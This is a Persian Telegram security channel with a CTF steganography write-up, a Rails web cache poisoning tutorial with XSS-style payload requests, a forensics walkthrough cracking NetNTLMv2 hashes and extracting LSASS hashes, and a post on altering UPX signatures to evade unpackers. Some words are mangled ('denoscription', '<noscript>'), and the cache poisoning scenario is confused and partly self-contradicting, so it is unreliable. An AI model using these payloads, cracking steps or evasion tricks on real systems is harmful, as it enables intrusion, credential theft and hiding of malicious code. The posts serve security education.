Mr. SAM – Telegram
Mr. SAM
147 subscribers
131 photos
7 videos
23 files
751 links
شنبه
٦ ‏( دی = ۱۰ )‏ ۱٤۰٤
‏27 ( دسامبر = december = 12 ) 2025
تکنیک‌ها ، کالبدشکافی ، درک عمیق ، یک قدم جلوتر ...
https://news.1rj.ru/str/boost/NullError_ir
Download Telegram
#Stegoint

چالش Stegoint: یک سناریوی تحلیل عمیق و چند لایه

در این چالش که یک مسیر خطی ساده ندارد، یک تصویر به ما داده شده که باید flag نهایی چالش را در آن پیدا کنیم . یک زنجیره چند مرحله‌ای از تکنیک‌های مختلف رمزنگاری، پنهان‌نگاری و تحلیل داده . در ادامه، فرآیند حل چالش را به صورت یک سناریو بازسازی می‌کنیم.

فاز اول: شناسایی سطح اولیه (Initial Surface Analysis)

* هدف: جمع‌آوری اطلاعات اولیه از فایل هدف ( steve.jpg ).

* ابزار: exiftool

* دستور:

exiftool steve.jpg


* یافته کلیدی (Indicator): در خروجی exiftool ، دو فیلد مشکوک و حیاتی وجود دارد:

1. یک رشته طولانی و به ظاهر تصادفی :

Gur V hfrq fgrtuvqr gb uvqr gur svyr naq gur cnffjbeq vf va gur qrfpevcgvba

2. یک رشته کوتاه : stegopass

* تحلیل و فرضیه‌سازی:

* رشته موجود در Image Denoscription به وضوح شبیه یک رمز عبور است ( stegopass ).

* رشته Comment فاقد پترن‌های رایج انکودینگ مانند Base64 (مثلاً کاراکتر = در انتها یا استفاده از + و / ) است. اما توزیع حروف آن شبیه به زبان انگلیسی است. این یک نشانه قوی برای استفاده از یک رمزنگاری جایگزینی ساده (Simple Substitution Cipher) است. در دنیای CTF، اولین مظنون همیشه ROT13 است.

فاز دوم: شکستن رمز اولیه و کشف ابزار

* هدف: رمزگشایی رشته Comment برای درک پیام پنهان.

* ابزار CyberChef (ابزار استاندارد صنعتی برای این نوع تحلیل‌ها) یا هر دیکودر آنلاین ROT13.

* **چرا CyberChef؟
برخلاف ابزارهای آنلاین ساده، CyberChef دارای قابلیتی به نام "Magic" است. با قرار دادن رشته ورودی و اجرای "Magic"، این ابزار به طور خودکار ده‌ها نوع انکودینگ و رمزنگاری رایج (از جمله ROT13) را تست کرده و محتمل‌ترین نتیجه را پیشنهاد می‌دهد. این رویکرد بسیار حرفه‌ای‌تر و سریع‌تر از "آزمون و خطا"ی دستی است.

* ورودی (Input):
Gur V hfrq fgrtuvqr gb uvqr gur svyr naq gur cnffjbeq vf va gur qrfpevcgvba

* خروجی (Output) پس از اعمال ROT13:
The I used steghide to hide the file and the password is in the denoscription

* تحلیل و نتیجه‌گیری:
این پیام رمزگشایی شده، یک نقشه راه دقیق است:

1.ابزار استفاده شده: steghide

2.محل رمز عبور: in the denoscription (که به فیلد Image Denoscription در فراداده‌ها اشاره دارد).

فاز سوم: استخراج لایه اول داده پنهان

* هدف: استفاده از اطلاعات به دست آمده برای استخراج فایل جاسازی شده با steghide.

* ابزار: steghide

* دستور:
steghide extract -sf steve.jpg

* تعامل (Interaction): ابزار از شما یک passphrase درخواست می‌کند. بر اساس تحلیل فاز اول، رمز عبور stegopass را وارد می‌کنیم.

* خروجی: یک فایل جدید به نام secret.txt استخراج می‌شود.

فاز چهارم: تحلیل محتوای استخراج شده و ورود به لایه دوم

* هدف: بررسی فایل secret.txt و کشف مرحله بعدی.

* دستور:
cat secret.txt

* یافته کلیدی: محتوای این فایل، فلگ نهایی نیست، بلکه یک رشته طولانی و رمز شده دیگر است که به یک لینک pastebin اشاره دارد و مجدداً با ROT13 رمز شده است.

uggcf://cnfgrova.pbz/l1td4RTW

* رمزگشایی (با همان CyberChef ):

https://pastebin.com/y1gq4EGJ

فاز پنجم: تحلیل داده‌های Pastebin و استخراج فایل ZIP

* هدف: دسترسی به لینک Pastebin و تحلیل محتوای آن.

* یافته کلیدی: صفحه Pastebin حاوی یک بلاک بسیار بزرگ از متن Base64 است.

* اقدام:

1. کل متن Base64 را کپی می‌کنیم.

2. با استفاده از ابزار خط فرمان base64 یا مجدداً CyberChef ، آن را دیکود می‌کنیم.

3. خروجی دیکود شده را در یک فایل باینری ذخیره می‌کنیم (مثلاً output.bin ).


base64 --decode < pastebin_content.txt > output.bin


* تحلیل فایل خروجی: اکنون باید ماهیت این فایل باینری را کشف کنیم.

* ابزار: file

* دستور:

file output.bin

* خروجی:

output.bin: Zip archive data, at least v2.0 to extract

* نتیجه‌گیری: این همان فایل ZIP است . این فایل از داده‌های Base64 که در لینک Pastebin پنهان بود، متولد شد. حالا ما یک فایل output.zip داریم که احتمالاً حاوی فلگ نهایی است، اما قطعاً با رمز عبور محافظت می‌شود.

فاز ششم: شکار رمز عبور فایل ZIP با تحلیل LSB

* هدف: پیدا کردن رمز عبور فایل output.zip .

* فرضیه: از آنجایی که تمام سرنخ‌های فراداده‌ای ( exiftool ) استفاده شده‌اند، باید به سراغ تکنیک‌های پنهان‌نگاری عمیق‌تر در خود پیکسل‌های تصویر اصلی ( steve.jpg ) برویم. متداول‌ترین تکنیک، پنهان‌نگاری در بیت‌های کم‌ارزش (Least Significant Bit - LSB) است.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Mr. SAM
#Stegoint چالش Stegoint: یک سناریوی تحلیل عمیق و چند لایه در این چالش که یک مسیر خطی ساده ندارد، یک تصویر به ما داده شده که باید flag نهایی چالش را در آن پیدا کنیم . یک زنجیره چند مرحله‌ای از تکنیک‌های مختلف رمزنگاری، پنهان‌نگاری و تحلیل داده . در ادامه،…
* ابزار: zsteg (ابزاری تخصصی برای شناسایی داده‌های پنهان در LSB).

* دستور:

zsteg steve.jpg


* یافته کلیدی: zsteg تصویر را برای پترن‌های مختلف داده در کانال‌های رنگی و بیت‌پلین‌های مختلف اسکن می‌کند. در میان خروجی‌های متعدد، یک رشته معنادار و بسیار مهم خودنمایی می‌کند:

password: password123

* نتیجه‌گیری: این رشته، رمز عبور مورد نیاز برای فایل ZIP است. مهاجم از دو تکنیک پنهان‌نگاری مجزا استفاده کرده است: steghide برای جاسازی فایل اولیه، و LSB Steganography برای پنهان کردن یک رمز عبور ثانویه.

فاز نهایی: استخراج فلگ

* هدف: باز کردن فایل ZIP و دستیابی به فلگ.

* ابزار: unzip

* دستور:
unzip output.zip

* تعامل: ابزار رمز عبور را درخواست می‌کند. password123 را وارد می‌کنیم.

* خروجی: یک فایل متنی (مانند flag.txt ) استخراج می‌شود که حاوی فلگ نهایی چالش است.

جمع‌بندی پیشرفته تر

این چالش یک شبیه‌سازی کوچک اما هوشمندانه از نحوه زنجیره‌سازی تکنیک‌ها (Technique Chaining) توسط مهاجمان پیشرفته است:

1.لایه‌بندی (Layering): مهاجم هرگز داده‌ها را به صورت خام در یک مرحله پنهان نمی‌کند. استفاده ترکیبی از Exif data -> ROT13 -> Steghide -> ROT13 -> Pastebin -> Base64 -> ZIP archive -> LSB Steganography یک عمق دفاعی ایجاد می‌کند که تحلیلگر را مجبور به استفاده از مجموعه ابزارها و مهارت‌های متنوعی می‌کند.

2.گمراه‌سازی (Misdirection): رمز عبور اول ( stegopass ) تحلیلگر را به این باور می‌رساند که کار تمام شده است، در حالی که این تنها کلید ورود به مرحله بعدی بود.

3.استفاده از منابع خارجی (External Resources): انتقال بخشی از داده‌ها به یک سرویس خارجی مانند Pastebin یک تاکتیک رایج برای شکستن زنجیره فارنزیک و دور زدن سیستم‌های مانیتورینگ داخلی است.

بیشتر بدانید :

* تحلیل آنتروپی (Entropy Analysis): فایل‌هایی که داده‌های رمزنگاری شده یا فشرده (مانند ZIP) را به صورت پنهان در خود جای داده‌اند، معمولاً دارای آنتروپی (میزان تصادفی بودن داده‌ها) بالاتری نسبت به فایل‌های عادی هستند. ابزارهایی مانند binwalk -E می‌توانند به شناسایی این ناهنجاری‌ها کمک کنند.

* ۔Data Carving: ابزارهایی مانند binwalk یا foremost می‌توانند یک فایل را برای "هدرها" یا "امضاهای" فایل‌های شناخته‌شده (Magic Numbers) اسکن کنند. اگرچه steghide داده‌ها را پراکنده می‌کند، اما در سناریوهای دیگر، binwalk می‌توانست مستقیماً فایل ZIP جاسازی شده را بدون نیاز به steghide پیدا و استخراج کند.

* قوانین شناسایی مبتنی بر رفتار: در سطح شبکه، می‌توان قوانینی (مثلاً در SIEM یا IDS ) برای شناسایی الگوهای مشکوک نوشت؛ مثلاً دانلود یک فایل تصویر و به دنبال آن مشاهده ترافیک به سمت سرویس‌هایی مانند Pastebin از همان مبدأ.

@NullError_ir
#Cache

۔Parameter Cloaking: هنر پنهان‌سازی پارامتر در حملات Web Cache Poisoning

حملات Web Cache Poisoning (WCP) همواره یکی از جذاب‌ترین و در عین حال پیچیده‌ترین بردارهای حمله در دنیای امنیت وب بوده‌اند. این حملات به مهاجم اجازه می‌دهند تا یک پاسخ مخرب را در حافظه Cache یک سرور ذخیره کرده و آن را به تعداد زیادی از کاربران بی‌خبر تحویل دهد. امروز قصد داریم به یکی از زیرشاخه‌های هوشمندانه و مخفیانه این حملات بپردازیم: Parameter Cloaking. این تکنیک بر یک اصل ساده اما خطرناک استوار است: عدم تطابق در تفسیر درخواست (Request Interpretation Mismatch) بین اجزای مختلف یک وب اپلیکیشن.

۔Web Cache Poisoning: یک یادآوری سریع

قبل از ورود به بحث اصلی، به طور خلاصه به یاد بیاوریم که Cache چگونه کار می‌کند و چگونه مسموم می‌شود. سرورهای Cache (مانند Varnish, Nginx Cache یا سرویس‌های CDN) یک نسخه از پاسخ‌های یکسان به درخواست‌های تکراری را ذخیره می‌کنند تا سرعت پاسخ‌دهی به کاربران را افزایش دهند. برای اینکه Cache بداند کدام پاسخ متعلق به کدام درخواست است، از یک "کلید" یا Cache Key استفاده می‌کند. این کلید معمولاً از ترکیب بخش‌هایی از درخواست HTTP مانند Host Header و Request Path (مسیر URL) ساخته می‌شود.

آسیب‌پذیری WCP زمانی رخ می‌دهد که یک اپلیکیشن برای تولید پاسخ خود از ورودی‌هایی (مانند یک Header خاص) استفاده می‌کند که در Cache Key لحاظ نشده‌اند. مهاجم با دستکاری این ورودی‌های "نادیده گرفته شده" (Unkeyed Inputs)، پاسخی مخرب تولید می‌کند و Cache آن را تحت یک کلید معتبر ذخیره می‌کند. از این پس، هر کاربری که درخواستی منطبق با آن Cache Key ارسال کند، پاسخ مسموم را دریافت خواهد کرد.

۔Parameter Cloaking چیست؟

۔Parameter Cloaking یا "پنهان‌سازی پارامتر" یک تکنیک خاص در WCP است که در آن مهاجم پارامتری را به URL اضافه می‌کند به گونه‌ای که سرور Cache آن را به عنوان بخشی از Cache Key می‌شناسد، اما اپلیکیشن Back-end آن را نادیده می‌گیرد.

این عدم تطابق در پردازش URL، فرصتی طلایی برای مسموم‌سازی Cache ایجاد می‌کند. تصور کنید یک درخواست شامل دو بخش است که توسط دو مفسر مختلف خوانده می‌شود:

1. مفسر اول (Cache Server): درخواست را کامل و با تمام جزئیات می‌بیند.

2. مفسر دوم (Application Framework): به دلیل یک تفاوت جزئی در نحوه Parse کردن Query String، بخشی از درخواست را نادیده می‌گیرد.

این دقیقاً همان جایی است که Parameter Cloaking اتفاق می‌افتد.

آسیب‌پذیری در قلب Ruby on Rails

در این نوشته به طور خاص به این آسیب‌پذیری در فریم‌ورک Ruby on Rails اشاره می‌کنیم. مشکل از نحوه پردازش پارامترهای Query String در این فریم‌ورک ناشی می‌شود. طبق استانداردها، پارامترها در URL با کاراکتر & از هم جدا می‌شوند.

حالا این URL را در نظر بگیرید:

https://example.com/search?query=normal&;type=xss

بسیاری از سرورهای Cache و Proxy، این رشته را به صورت استاندارد پردازش کرده و دو پارامتر را تشخیص می‌دهند:

* query با مقدار normal
* type با مقدار xss

بنابراین، Cache Key بر اساس وجود هر دو پارامتر ساخته می‌شود.

اما در نسخه‌های قدیمی‌تر Rails (و برخی دیگر از فریم‌ورک‌ها)، Parser مربوط به Query String، ترکیب &; را به عنوان یک جداکننده معتبر نمی‌شناسد. در نتیجه، از دیدگاه Rails، این URL فقط یک پارامتر دارد:

* query با مقدار normal

پارامتر type به طور کامل "نادیده" یا Cloak می‌شود.

سناریوی حمله: گام به گام تا مسموم‌سازی Cache

بیایید یک سناریوی حمله کامل را با استفاده از این آسیب‌پذیری بررسی کنیم. فرض کنید یک وب‌سایت آسیب‌پذیر با آدرس victim.com داریم که از Rails استفاده می‌کند و یک سرور Cache در جلوی آن قرار دارد.

مرحله اول: ارسال درخواست مسموم‌کننده (The Poisoning Request)

مهاجم یک درخواست دستکاری‌شده به سرور ارسال می‌کند. هدف این است که یک صفحه معتبر (مثلاً صفحه اصلی) را تحت یک Cache Key مخرب ذخیره کند.

GET /?lang=en&;callback=alert(1) HTTP/1.1
Host: victim.com


* تحلیل از دید Cache Server: سرور Cache این URL را می‌بیند و یک Cache Key بر اساس مسیر /?lang=en&;callback=alert(1) تولید می‌کند.

* تحلیل از دید اپلیکیشن Rails: فریم‌ورک Rails پارامتر callback را به دلیل وجود جداکننده نامعتبر &; نادیده می‌گیرد و درخواست را معادل /?lang=en پردازش می‌کند. در نتیجه، یک پاسخ کاملاً عادی و بدون هیچ اسکریپت مخربی (مثلاً صفحه اصلی سایت به زبان انگلیسی) را برمی‌گرداند.

مرحله دوم: ذخیره پاسخ در Cache

اکنون اتفاق کلیدی رخ می‌دهد: سرور Cache پاسخ سالم و عادی اپلیکیشن را تحت کلید مسموم /?lang=en&;callback=alert(1) ذخیره می‌کند
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Mr. SAM
#Cache ۔Parameter Cloaking: هنر پنهان‌سازی پارامتر در حملات Web Cache Poisoning حملات Web Cache Poisoning (WCP) همواره یکی از جذاب‌ترین و در عین حال پیچیده‌ترین بردارهای حمله در دنیای امنیت وب بوده‌اند. این حملات به مهاجم اجازه می‌دهند تا یک پاسخ مخرب را…
مرحله سوم: قربانی و فعال‌سازی Payload

حالا مهاجم باید قربانی را به صفحه‌ای هدایت کند که باعث فراخوانی این ورودی Cache شده شود. فرض کنید وب‌سایت victim.com یک قابلیت JSONP دارد که از پارامتر callback برای اجرای یک تابع جاوااسکریپت استفاده می‌کند.

مهاجم قربانی را ترغیب می‌کند تا روی لینک زیر کلیک کند:

https://victim.com/api/user.json?lang=en&callback=alert(1)

این بار URL کاملاً استاندارد است و جداکننده آن & است.

1. درخواست قربانی به سرور Cache می‌رسد.

2. سرور Cache، کلید این درخواست را با ورودی‌های ذخیره‌شده خود مقایسه می‌کند. اینجا یک نکته ظریف وجود دارد: بسیاری از سیستم‌های Cache، کاراکتر ; را در URL نرمال‌سازی کرده یا معادل & در نظر می‌گیرند. در نتیجه، کلید درخواست قربانی (/?lang=en&callback=alert(1)) با کلید مسموم ذخیره‌شده (/?lang=en&;callback=alert(1)) مطابقت پیدا می‌کند.

3۔ Cache بدون ارسال درخواست به اپلیکیشن Rails، پاسخ ذخیره‌شده (که همان صفحه عادی سایت بود) را به قربانی برمی‌گرداند.

۔Wait, where is the XSS ؟ اینجا نقطه‌ای است که ممکن است کمی گنگ باشد. سناریوی بالا منجر به XSS نمی‌شود، بلکه یک صفحه اشتباه را به کاربر نشان می‌دهد. بیایید سناریو را برای اجرای Cross-Site Scripting (XSS) اصلاح کنیم:

سناریوی اصلاح‌شده برای XSS:

فرض کنید یک صفحه جستجو داریم که مقدار پارامتر q را در صفحه Reflect می‌کند و آسیب‌پذیر به XSS است.

Poisoning Request:

GET /?&;q=<noscript>alert('WCP')</noscript> HTTP/1.1

* ۔Cache: کلید را بر اساس /?&;q=<noscript>... می‌سازد.

* ۔Rails: پارامتر q را نادیده گرفته و صفحه اصلی (/) را برمی‌گرداند.

* نتیجه: صفحه اصلی سایت تحت یک کلید حاوی Payload ذخیره می‌شود.

Victim Request:

GET /?utm_source=google

* فرض کنید اپلیکیشن پارامترهای utm_ را نادیده می‌گیرد اما Cache آن‌ها را در کلید لحاظ نمی‌کند (Unkeyed Input). حالا اگر مهاجم لینکی بسازد که باعث شود Cache درخواست قربانی را با درخواست مسموم مطابقت دهد، می‌تواند موفق شود.

یک سناریوی واقعی‌تر به این صورت است:

Poisoning Request: مهاجم درخواستی با یک پارامتر Cloak شده ارسال می‌کند که حاوی Payload است.

GET /some-page?&;vulnerable_param=<noscript/onload=alert(1)> HTTP/1.1

* ۔Cache: این URL را کلیدگذاری می‌کند.

* ۔Rails: پارامتر vulnerable_param را نادیده می‌گیرد و پاسخ عادی صفحه /some-page را می‌دهد.

* نتیجه: پاسخ عادی صفحه /some-page تحت یک کلید حاوی XSS ذخیره می‌شود.

Victim Request: حالا مهاجم کاربر را به لینکی هدایت می‌کند که باعث می‌شود اپلیکیشن این بار پارامتر را بخواند.

GET /some-page?vulnerable_param=<noscript/onload=alert(1)> HTTP/1.1

* این درخواست به Cache می‌رسد. اگر Cache به اندازه کافی "هوشمند" باشد و &; را با & یا عدم وجود آن یکسان بداند، ممکن است پاسخ مسموم را تحویل دهد که البته نادرست است.

نکته: این حمله زمانی موفق است که بتوانیم پاسخی از یک Endpoint امن را در Cache، تحت کلید یک Endpoint آسیب‌پذیر ذخیره کنیم. یا برعکس، پاسخی که حاوی یک Payload است را تحت کلید یک صفحه پربازدید ذخیره کنیم. Parameter Cloaking ابزاری برای ایجاد این عدم تطابق در Cache Key است.

شناسایی و مقابله

* شناسایی: ابزارهایی مانند Rails Parameter Cloaking Scanner با ارسال درخواست‌هایی حاوی جداکننده‌های مختلف ( &; , &_ , &%26 ) و تحلیل پاسخ سرور، این نوع آسیب‌پذیری را به صورت خودکار شناسایی می‌کنند. اگر پاسخ سرور با وجود پارامتر Cloak شده تغییری نکند، نشان‌دهنده وجود مشکل است.

1. به‌روزرسانی فریم‌ورک: همیشه از آخرین نسخه‌های پایدار فریم‌ورک‌ها مانند Ruby on Rails استفاده کنید. این آسیب‌پذیری خاص در نسخه‌های جدیدتر پچ شده است.

2. عادی‌سازی URL در سطح Edge: بهترین راهکار، پاک‌سازی و عادی‌سازی (Normalization) درخواست‌ها در لبه شبکه (CDN, WAF, Load Balancer) است. می‌توان قانونی تعریف کرد که تمام درخواست‌های حاوی Query Stringهای مبهم یا غیراستاندارد را رد (Drop) یا اصلاح کند.

3. پیکربندی سخت‌گیرانه Cache: Cache Key را طوری تنظیم کنید که فقط بر اساس پارامترهای مشخص و معتبری که اپلیکیشن انتظار دارد، ساخته شود. از پذیرش پارامترهای ناشناخته در Cache Key خودداری کنید.

4. غیرفعال کردن Cache برای Endpoints حساس: برای نقاطی از اپلیکیشن که منطق پیچیده‌ای دارند یا ورودی کاربر را پردازش می‌کنند، می‌توان Cache را به طور کامل غیرفعال کرد.

۔Parameter Cloaking نشان می‌دهد مهاجمان هوشمند همیشه به دنبال این شکاف‌ها و تفاوت‌های ظریف در تفسیر داده بین Cache، WAF، Load Balancer و خود اپلیکیشن هستند.

@NullError_ir
#Autopsy

کالبدشکافی از ترافیک شبکه تا حافظه سیستم


تحلیل جامع فارنزیک با ابزارهای Command-Line

مقدمه: سناریو و شواهد اولیه

در یک سازمان، دو کارمند پس از اخراج، با استفاده از دسترسی‌های پیشین خود به سرور فایل‌ها متصل شده و اطلاعاتی را مشاهده کرده‌اند. تیم امنیتی برای اثبات این تخلف، دو مدرک اصلی در اختیار دارد:

traffic.pcapng : این فایل، ترافیک شبکه‌ی رد و بدل شده بین کاربران و سرور را در خود دارد و به ما نشان می‌دهد «چه ارتباطاتی» برقرار شده است.

lsass.DMP : این فایل، تصویری لحظه‌ای (Snapshot) از حافظه پروسه Local Security Authority Subsystem Service یا LSASS است. این پروسه در ویندوز مسئول مدیریت احراز هویت بوده و تحلیل آن می‌تواند اطلاعات هویتی مانند هشِ رمزهای عبور را فاش کند.

فاز اول: تحلیل ترافیک شبکه و تریاژ اولیه

تحلیل فایل‌های PCAP حجیم به صورت دستی در محیط گرافیکی مانند Wireshark بسیار زمان‌بر است. بنابراین، از ابزارهای خط فرمان برای سرعت و دقت بیشتر بهره می‌بریم.

۲.۱. پردازش اولیه با Zeek

ابزار Zeek (که پیش‌تر با نام Bro شناخته می‌شد) یک فریم‌ورک قدرتمند برای تحلیل ترافیک است که بسته‌های خام شبکه را به لاگ‌های ساختاریافته و قابل درک تبدیل می‌کند.

با یک دستور ساده، Zeek را روی فایل PCAP اجرا می‌کنیم:

zeek -r traffic.pcapng


پس از اجرا، Zeek ده‌ها فایل .log تولید می‌کند که هرکدام جنبه‌ای از ترافیک را توصیف می‌کنند ( http.log , dns.log , files.log و...). برای سناریوی ما که مبتنی بر دسترسی به فایل شیرینگ ویندوز (SMB) است، مهم‌ترین فایل ntlm.log است که تمام فرآیندهای احراز هویت NTLM را ثبت کرده است. محتوای این فایل شامل نام کاربری، دامین، چالش سرور (Server Challenge) و پاسخ کاربر (NTLM Response) است که تمام مواد لازم برای فاز بعدی را فراهم می‌کند.

۲.۲. بازرسی عمیق با Tshark

ابزار Tshark ابزار خط فرمان Wireshark است و برای زمانی که نیاز به بررسی جزئیات یک پکت خاص داریم، ایده‌آل است.

برای مثال، می‌توانیم تمام تلاش‌های احراز هویت SMB را به سرعت فیلتر کرده و نام‌های کاربری را استخراج کنیم:

tshark -r traffic.pcapng -Y "smb2.cmd == 1 && smb2.ntlm" -T fields -e smb2.ntlm.auth.username


این دستور نام کاربری mrealman و کاربر دوم را به ما نشان می‌دهد.


۳. فاز دوم: استخراج و شکستن هش NetNTLMv2

پروتکل NTLMv2 از یک مکانیزم Challenge-Response برای احراز هویت استفاده می‌کند و پسورد را به صورت مستقیم در شبکه ارسال نمی‌کند. ما می‌توانیم با اطلاعاتی که از ntlm.log در Zeek به دست آوردیم، هش را بازسازی و برای شکستن آن تلاش کنیم.

۳.۱. ساخت هش برای Hashcat

با استفاده از نام کاربری، دامین، چالش و پاسخ، یک رشته با فرمت مخصوص Hashcat می‌سازیم:
username::DOMAIN:SERVER_CHALLENGE:NTProofStr:Blob

۳.۲. کرک کردن با Hashcat

دستور زیر را برای شروع حمله Dictionary اجرا می‌کنیم:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt


این پارامتر -m 5600: مشخص می‌کند که نوع هش ما NetNTLMv2 است.

با اجرای این دستور، پسورد کاربر اول (mrealman) با موفقیت کشف می‌شود.

۴. فاز سوم: تحلیل حافظه و استخراج هش NT

پسورد کاربر دوم با استفاده از wordlist های رایج پیدا نشد. در این مرحله، به سراغ گنجینه دوم خود، یعنی فایل lsass.DMP می‌رویم.

۴.۱. تحلیل دامپ با Volatility 3

فریم‌ورک Volatility استاندارد طلایی در حوزه فارنزیک حافظه است و به ما اجازه می‌دهد ساختارهای داخلی حافظه سیستم‌عامل را تحلیل کنیم.

با استفاده از پلاگین windows.lsass.dmp ، تمام اطلاعات هویتی ذخیره شده در حافظه را استخراج می‌کنیم:

python3 vol.py -f lsass.DMP windows.lsass.dmp


این دستور جدولی از کاربران، دامین‌ها و از همه مهم‌تر، NT Hash آن‌ها را به ما می‌دهد. NT Hash، هش اصلی پسورد کاربر است که توسط ویندوز برای بسیاری از عملیات‌های احراز هویت استفاده می‌شود.

۵. فاز چهارم: رمزگشایی پیشرفته و جمع‌بندی نهایی

اکنون برای کاربر اول پسورد Plaintext و برای کاربر دوم NT Hash را در اختیار داریم. از این اطلاعات برای رمزگشایی ترافیک SMB رمزگذاری شده و مشاهده فایل‌های منتقل شده استفاده می‌کنیم.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1
Mr. SAM
#Autopsy کالبدشکافی از ترافیک شبکه تا حافظه سیستم تحلیل جامع فارنزیک با ابزارهای Command-Line مقدمه: سناریو و شواهد اولیه در یک سازمان، دو کارمند پس از اخراج، با استفاده از دسترسی‌های پیشین خود به سرور فایل‌ها متصل شده و اطلاعاتی را مشاهده کرده‌اند.…
۵.۱. رمزگشایی با پسورد و هش

* برای کاربر اول: می‌توان پسورد را مستقیماً در Wireshark (بخش Preferences -> Protocols -> NTLMSSP ) وارد کرد تا ترافیک او را رمزگشایی کند.

* برای کاربر دوم (تکنیک پیشرفته): از آنجایی که پسورد را نداریم، از NT Hash برای رمزگشایی ترافیک مبتنی بر Kerberos استفاده می‌کنیم. برای این کار، ابتدا باید یک فایل keytab بسازیم.

۵.۲. ساخت Keytab با Impacket

ابزار keytab.py یک اسکریپت از مجموعه ابزار فوق‌العاده قدرتمند Impacket است که برای کار با پروتکل‌های شبکه در پایتون طراحی شده.

با استفاده از keytab.py و NT Hash کاربر دوم، یک فایل user2.keytab می‌سازیم. سپس این فایل را در Wireshark (بخش Preferences -> Protocols -> KRB5 ) بارگذاری می‌کنیم. این کار به Wireshark اجازه می‌دهد تا ترافیک SMB کاربر دوم را نیز رمزگشایی کند.

پس از رمزگشایی، با استفاده از قابلیت File -> Export Objects -> SMB در Wireshark یا ابزارهای استخراج فایل مانند Zeek ، فایل‌های clients156.csv و clients978.csv را استخراج کرده و شواهد نهایی تخلف را به دست می‌آوریم.


۶. راهکارهای عملیاتی: شناسایی، مقابله و پیشگیری


۶.۱. شناسایی فعال با Sigma

قوانین Sigma یک راه استاندارد برای توصیف الگوهای حمله هستند که می‌توانند در انواع SIEM ها استفاده شوند.

یک قانون ساده برای شناسایی تلاش برای دامپ کردن حافظه LSASS می‌تواند به تیم امنیتی شما در شناسایی چنین حملاتی در لحظه کمک کند.

۶.۲. استراتژی‌های پیشگیری و Hardening

1. مدیریت چرخه حیات هویت (IAM): حیاتی‌ترین اقدام، پیاده‌سازی یک فرآیند Off-boarding سریع و خودکار است. حساب‌های کاربری باید در آخرین روز کاری کارمند غیرفعال شوند.

2. محافظت از Credential ها: فعال‌سازی قابلیت Windows Defender Credential Guard برای محافظت از حافظه LSASS در برابر حملات Credential Dumping.

3. مانیتورینگ شبکه: پیاده‌سازی ابزارهایی مانند Zeek در شبکه برای نظارت مستمر بر ترافیک و شناسایی الگوهای دسترسی غیرعادی به فایل سرورها.

4. اصل حداقل دسترسی (PoLP): اطمینان حاصل کنید که کاربران فقط به داده‌هایی دسترسی دارند که برای انجام وظایف شغلی‌شان ضروری است.

@NullError_ir
🔥1
#upx

تکنیکی ساده اما هوشمندانه

یک تکنیک کلاسیک اما هوشمندانه در حوزه مهندسی معکوس و حفاظت از نرم‌افزار :
استفاده از پکر UPX ، دستکاری امضای آن برای گمراه کردن ابزارهای تحلیل خودکار و سپس پیاده‌سازی یک مکانیزم خود-بررسی (Self-Checksum) در برنامه برای اطمینان از دستکاری نشدن آن.

در این نوشته، با دیدی عمیق‌تر در سطح تکنیک‌های (Anti-Reversing) مفاهیم را گسترش داده و راهکارهای مقابله با آن را نیز تشریح می‌کنیم.

مقدمه: فلسفه استفاده از پکرها و تکنیک‌های Anti-Analysis

در دنیای حفاظت از نرم‌افزار، پکرها ابزارهایی هستند که فایل اجرایی اصلی (PE - Portable Executable) را فشرده، رمزنگاری یا مبهم‌سازی (Obfuscate) می‌کنند. هدف اصلی این کار، کوچک‌تر کردن حجم فایل و مهم‌تر از آن، سخت‌تر کردن فرآیند مهندسی معکوس است. UPX یکی از معروف‌ترین و پراستفاده‌ترین پکرهاست که به دلیل متن-باز بودن و سادگی استفاده، محبوبیت زیادی دارد.

با این حال، به دلیل همین شهرت، تقریباً تمام ابزارهای تحلیل بدافزار و مهندسی معکوس (مانند Exeinfo PE, IDA Pro, x64dbg) قادر به شناسایی و حتی باز کردن (Unpack) خودکار فایل‌های پک شده با UPX هستند. تکنیک شرح داده شده در مقاله، دقیقاً برای مقابله با همین نقطه ضعف طراحی شده است.

کالبدشکافی فنی و مراحل اجرای تکنیک

بیایید فرآیند را قدم به قدم با جزئیات فنی دقیق باز کنیم.

مرحله ۱: ساخت یک برنامه ساده و پک کردن آن با UPX

ابتدا یک برنامه ساده (مثلاً به زبان C یا ++c) نوشته و کامپایل می‌کنیم. این برنامه می‌تواند هر عملکردی داشته باشد.

#include <iostream>
#include <windows.h>

int main() {
MessageBox(NULL, "This is the original program!", "Hello World", MB_OK);
return 0;
}


پس از کامپایل، فایل اجرایی ( مثلاً SPE.exe ) را با استفاده از UPX پک می‌کنیم.

upx --best SPE.exe


در این مرحله، UPX کدهای اصلی برنامه را فشرده کرده و یک "Stub" یا "Loader" به ابتدای فایل اجرایی اضافه می‌کند. وظیفه این Stub این است که در زمان اجرا، کدهای فشرده شده را در حافظه باز کرده و سپس کنترل اجرا را به نقطه ورود اصلی (Original Entry Point - OEP) برنامه منتقل کند.

مرحله ۲: اصلاح امضای UPX (Shell Modification)

این هوشمندانه‌ترین بخش تکنیک است. فایل‌های پک شده با UPX دارای امضاهای (Signatures) مشخصی در هدر خود هستند. یکی از این امضاها، رشته "UPX\!" است که به ابزارهای تحلیل کمک می‌کند تا نوع پکر را شناسایی کنند. در ساختار فایل PE، این امضاها در بخش‌هایی که UPX ایجاد می‌کند (معمولاً UPX0 , UPX1 ) قرار دارند.

با استفاده از یک ویرایشگر هگزادسیمال (Hex Editor) مانند HxD، به دنبال مقادیر معادل رشته "UPX" یعنی 55 50 58 گشته و آن را به 35 32 30 که معادل رشته "520" است، تغییر می‌دهیم.

چرا این کار مؤثر است؟

* ابزارهایی مانند Exeinfo PE یا اسکریپت‌های Unpacker در دیباگرها، برای شناسایی پکر از جستجوی این امضای ثابت استفاده می‌کنند. با تغییر این امضا، این ابزارها دیگر قادر به تشخیص UPX نخواهند بود و فایل را به عنوان یک فایل "ناشناخته" یا "محافظت نشده" شناسایی می‌کنند. این اولین لایه گمراه‌سازی است.

* این کار باعث می‌شود Unpackerهای خودکار که به دنبال این الگو هستند، با شکست مواجه شوند و تحلیلگر مجبور به تحلیل دستی و یافتن OEP شود که فرآیندی زمان‌برتر است.

مرحله ۳: تحلیل با IDA Pro و چالش‌های آن

